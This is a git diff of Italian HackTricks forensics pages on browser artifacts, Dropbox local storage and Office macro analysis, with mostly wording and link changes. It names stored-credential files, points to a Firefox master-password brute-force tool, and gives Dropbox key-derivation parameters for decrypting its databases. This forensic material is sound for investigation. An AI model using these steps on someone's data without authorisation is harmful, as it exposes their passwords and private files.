-**Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+**Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index 8e3043509..6afcadde6 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -2,7 +2,7 @@
-Impara l'hacking di AWS da zero a eroe conhtARTE (HackTricks AWS Red Team Expert)!
+Impara l'hacking di AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
@@ -17,22 +17,22 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Artefatti dei Browser
Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e i dati della cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, differendo per posizione e nome tra i browser, ma generalmente memorizzando tipi di dati simili.
-Ecco un riassunto dei più comuni artefatti del browser:
+Ecco un riassunto degli artefatti del browser più comuni:
-* **Cronologia di Navigazione**: Traccia le visite dell'utente ai siti web, utile per identificare visite a siti dannosi.
+* **Cronologia di Navigazione**: Traccia le visite dell'utente ai siti web, utile per identificare le visite a siti dannosi.
* **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione.
* **Segnalibri**: Siti salvati dall'utente per un accesso rapido.
* **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente.
-* **Cache**: Memorizza contenuti web (ad esempio, immagini, file JavaScript) per migliorare i tempi di caricamento del sito web, preziosi per l'analisi forense.
+* **Cache**: Memorizza contenuti web (ad esempio, immagini, file JavaScript) per migliorare i tempi di caricamento del sito, preziosi per l'analisi forense.
* **Accessi**: Credenziali di accesso memorizzate.
* **Favicons**: Icone associate ai siti web, che appaiono in schede e segnalibri, utili per informazioni aggiuntive sulle visite dell'utente.
* **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte.
@@ -49,7 +49,7 @@ Firefox organizza i dati dell'utente all'interno di profili, memorizzati in posi
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
-Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella denominata con la variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stesso. Se manca la cartella di un profilo, potrebbe essere stata eliminata.
+Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella denominata nella variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stessa. Se manca la cartella di un profilo, potrebbe essere stata eliminata.
All'interno di ciascuna cartella del profilo, è possibile trovare diversi file importanti:
@@ -59,19 +59,19 @@ All'interno di ciascuna cartella del profilo, è possibile trovare diversi file
* **formhistory.sqlite**: Memorizza i dati dei moduli web.
* **handlers.json**: Gestisce i gestori di protocollo.
* **persdict.dat**: Parole del dizionario personalizzato.
-* **addons.json** e **extensions.sqlite**: Informazioni sulle estensioni installate e sui componenti aggiuntivi.
+* **addons.json** e **extensions.sqlite**: Informazioni sulle estensioni e i componenti aggiuntivi installati.
* **cookies.sqlite**: Archiviazione dei cookie, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponibile per l'ispezione su Windows.
* **cache2/entries** o **startupCache**: Dati della cache, accessibili tramite strumenti come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Memorizza i favicons.
* **prefs.js**: Impostazioni e preferenze dell'utente.
-* **downloads.sqlite**: Database dei download più vecchio, ora integrato in places.sqlite.
-* **thumbnails**: Miniature del sito web.
+* **downloads.sqlite**: Vecchio database dei download, ora integrato in places.sqlite.
+* **thumbnails**: Miniature dei siti web.
* **logins.json**: Informazioni di accesso crittografate.
* **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili.
Inoltre, verificare le impostazioni anti-phishing del browser può essere fatto cercando voci `browser.safebrowsing` in `prefs.js`, indicando se le funzionalità di navigazione sicura sono abilitate o disabilitate.
-Per cercare di decifrare la password principale, è possibile utilizzare [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
+Per provare a decifrare la password principale, è possibile utilizzare [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Con lo script e la chiamata seguenti è possibile specificare un file password per il brute force:
{% code title="brute.sh" %}
@@ -99,21 +99,21 @@ Google Chrome memorizza i profili utente in posizioni specifiche in base al sist
All'interno di queste directory, la maggior parte dei dati utente può essere trovata nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati significativi:
-* **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) può essere utilizzato per leggere la cronologia. La colonna "Tipo di transizione" ha vari significati, tra cui clic dell'utente sui link, URL digitati, invii di moduli e ricariche della pagina.
+* **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) può essere utilizzato per leggere la cronologia. La colonna "Tipo di transizione" ha vari significati, tra cui clic dell'utente sui link, URL digitati, invio di moduli e ricariche della pagina.
* **Cookies**: Memorizza i cookie. Per l'ispezione, è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Cache**: Contiene dati memorizzati nella cache. Per l'ispezione, gli utenti Windows possono utilizzare [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Segnalibri**: Segnalibri dell'utente.
* **Web Data**: Contiene la cronologia dei moduli.
* **Favicons**: Memorizza le icone dei siti web.
* **Login Data**: Include credenziali di accesso come nomi utente e password.
-* **Sessione Corrente**/**Schede Correnti**: Dati sulla sessione di navigazione corrente e schede aperte.
-* **Ultima Sessione**/**Ultimi Schede**: Informazioni sui siti attivi durante l'ultima sessione prima della chiusura di Chrome.
+* **Sessione corrente**/**Schede correnti**: Dati sulla sessione di navigazione corrente e schede aperte.
+* **Ultima sessione**/**Ultimi tab**: Informazioni sui siti attivi durante l'ultima sessione prima della chiusura di Chrome.
* **Estensioni**: Directory per estensioni e componenti aggiuntivi del browser.
* **Miniature**: Memorizza le miniature dei siti web.
* **Preferenze**: Un file ricco di informazioni, inclusi impostazioni per plugin, estensioni, popup, notifiche e altro ancora.
-* **Antiphishing integrato del browser**: Per verificare se l'antiphishing e la protezione da malware sono abilitati, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output.
+* **Antiphishing integrato del browser**: Per verificare se l'antiphishing e la protezione da malware sono attivi, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output.
-## **Recupero Dati da Database SQLite**
+## **Recupero dati da database SQLite**
Come si può osservare nelle sezioni precedenti, sia Chrome che Firefox utilizzano database **SQLite** per memorizzare i dati. È possibile **recuperare voci eliminate utilizzando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
@@ -121,39 +121,39 @@ Come si può osservare nelle sezioni precedenti, sia Chrome che Firefox utilizza
Internet Explorer 11 gestisce i suoi dati e metadati in varie posizioni, aiutando a separare le informazioni memorizzate e i relativi dettagli per un facile accesso e gestione.
-### Archiviazione Metadati
+### Archiviazione dei metadati
-I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Inoltre, il file `V01.log` potrebbe mostrare discrepanze di tempo di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile distinguere le tabelle o i contenitori specifici in cui è memorizzato ciascun segmento di dati, inclusi dettagli della cache per altri strumenti Microsoft come Skype.
+I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Inoltre, il file `V01.log` potrebbe mostrare discrepanze di tempo di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, ospitati in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile distinguere le tabelle o i contenitori specifici in cui è memorizzato ciascun segmento di dati, inclusi dettagli della cache per altri strumenti Microsoft come Skype.
-### Ispezione Cache
+### Ispezione della cache
Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome file, directory, conteggio accessi, origine URL e timestamp che indicano la creazione della cache, l'accesso, la modifica e i tempi di scadenza.
-### Gestione Cookie
+### Gestione dei cookie
I cookie possono essere esplorati utilizzando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggio accessi e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria.
-### Dettagli Download
+### Dettagli dei download
I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), con contenitori specifici che contengono dati come URL, tipo di file e posizione del download. I file fisici possono essere trovati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
-### Cronologia di Navigazione
+### Cronologia di navigazione
-Per rivedere la cronologia di navigazione, può essere utilizzato [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia sono situati in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+Per rivedere la cronologia di navigazione, è possibile utilizzare [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia sono situati in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
-### URL Digitati
+### URL digitati
-Gli URL digitati e i relativi tempi di utilizzo sono memorizzati nel registro di sistema sotto `NTUSER.DAT` in `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i loro ultimi tempi di input.
+Gli URL digitati e i relativi tempi di utilizzo sono memorizzati nel registro di sistema in `NTUSER.DAT` presso `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i rispettivi tempi di input.
## Microsoft Edge
Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per vari tipi di dati sono:
-* **Percorso Profilo**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
+* **Percorso del profilo**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Cronologia, Cookie e Download**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
-* **Impostazioni, Segnalibri e Lista Lettura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
+* **Impostazioni, Segnalibri e Elenco di lettura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
-* **Ultima Sessione Attiva**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
+* **Ultima sessione attiva**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
@@ -165,8 +165,8 @@ I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. I file chiav
* **TopSites.plist**: Siti più visitati.
* **Extensions.plist**: Elenco delle estensioni del browser Safari. Utilizzare `plutil` o `pluginkit` per recuperare.
* **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche push. Utilizzare `plutil` per analizzare.
-* **LastSession.plist**: Schede dall'ultima sessione. Utilizzare `plutil` per analizzare.
-* **Antiphishing integrato del browser**: Verificare utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzione è attiva.
+* **LastSession.plist**: Schede dell'ultima sessione. Utilizzare `plutil` per analizzare.
+* **Antiphishing integrato del browser**: Verificare utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzionalità è attiva.
## Opera
@@ -186,20 +186,18 @@ Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di nav
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
Impara l'hacking di AWS da zero a esperto conhtARTE (HackTricks AWS Red Team Expert)!
-
-Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
+* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index 160afc4a6..8f4b4c03c 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -1,4 +1,4 @@
-# Archiviazione locale su cloud
+# Archiviazione locale su Cloud
@@ -17,10 +17,10 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** alimentati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive
@@ -69,7 +69,7 @@ Per capire meglio la crittografia che Dropbox utilizza puoi leggere [https://blo
Tuttavia, le informazioni principali sono:
* **Entropia**: d114a55212655f74bd772e37e64aee9b
-* **Sale**: 0D638C092E8B82FC452883F95F355B8E
+* **Salt**: 0D638C092E8B82FC452883F95F355B8E
* **Algoritmo**: PBKDF2
* **Iterazioni**: 1066
@@ -84,9 +84,9 @@ Poi puoi utilizzare lo strumento [**DataProtectionDecryptor**](https://nirsoft.n
![](<../../../.gitbook/assets/image (443).png>)
-Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, usa semplicemente questa [ricevuta cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) mettendo la chiave primaria come "passphrase" all'interno della ricevuta.
+Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, usa semplicemente questa [ricetta di cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) mettendo la chiave primaria come "passphrase" all'interno della ricetta.
-L'esadecimale risultante è la chiave finale utilizzata per crittografare i database che possono essere decrittati con:
+L'hex risultante è la chiave finale utilizzata per crittografare i database che possono essere decrittati con:
```bash
sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
@@ -109,17 +109,17 @@ Altre tabelle all'interno di questo database contengono informazioni più intere
- **block\_cache**: hash di tutti i file e cartelle di Dropbox
- **block\_ref**: Collega l'ID hash della tabella `block_cache` con l'ID file nella tabella `file_journal`
-- **mount\_table**: Condivisione delle cartelle di Dropbox
+- **mount\_table**: Condivide cartelle di Dropbox
- **deleted\_fields**: File eliminati da Dropbox
- **date\_added**
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
@@ -127,9 +127,9 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks:
-- Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+- Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
- Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-- Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
+- Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
- **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index c6543facb..f3a28e1a7 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -10,27 +10,27 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
-Per ulteriori informazioni consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto:
+Per ulteriori informazioni controlla [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto:
-Microsoft ha creato molti formati di documenti di Office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli bersagli per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite l'estrazione, rivelando la struttura dei file e delle cartelle e i contenuti dei file XML.
+Microsoft ha creato molti formati di documenti di Office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli bersagli per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite scompattamento, rivelando il file e la gerarchia delle cartelle e i contenuti dei file XML.
-Per esplorare le strutture dei file OOXML, viene fornito il comando per estrarre un documento e la struttura in output. Sono stati documentate tecniche per nascondere dati in questi file, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF.
+Per esplorare le strutture dei file OOXML, viene fornito il comando per decomprimere un documento e la struttura di output. Sono stati documentate tecniche per nascondere dati in questi file, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF.
-Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che quelli OOXML. Questi strumenti aiutano nell'identificare e analizzare le macro incorporate, che spesso fungono da vettori per la distribuzione di malware, scaricando e eseguendo tipicamente payload maliziosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di watch.
+Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che OOXML. Questi strumenti aiutano nell'identificare e analizzare le macro incorporate, che spesso fungono da vettori per la distribuzione di malware, scaricando e eseguendo tipicamente payload dannosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di watch.
-L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec` o `Document_Open`.
+L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec`, o `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
@@ -38,10 +38,10 @@ olevba -c /path/to/document #Extract macros
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
@@ -52,7 +52,7 @@ Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
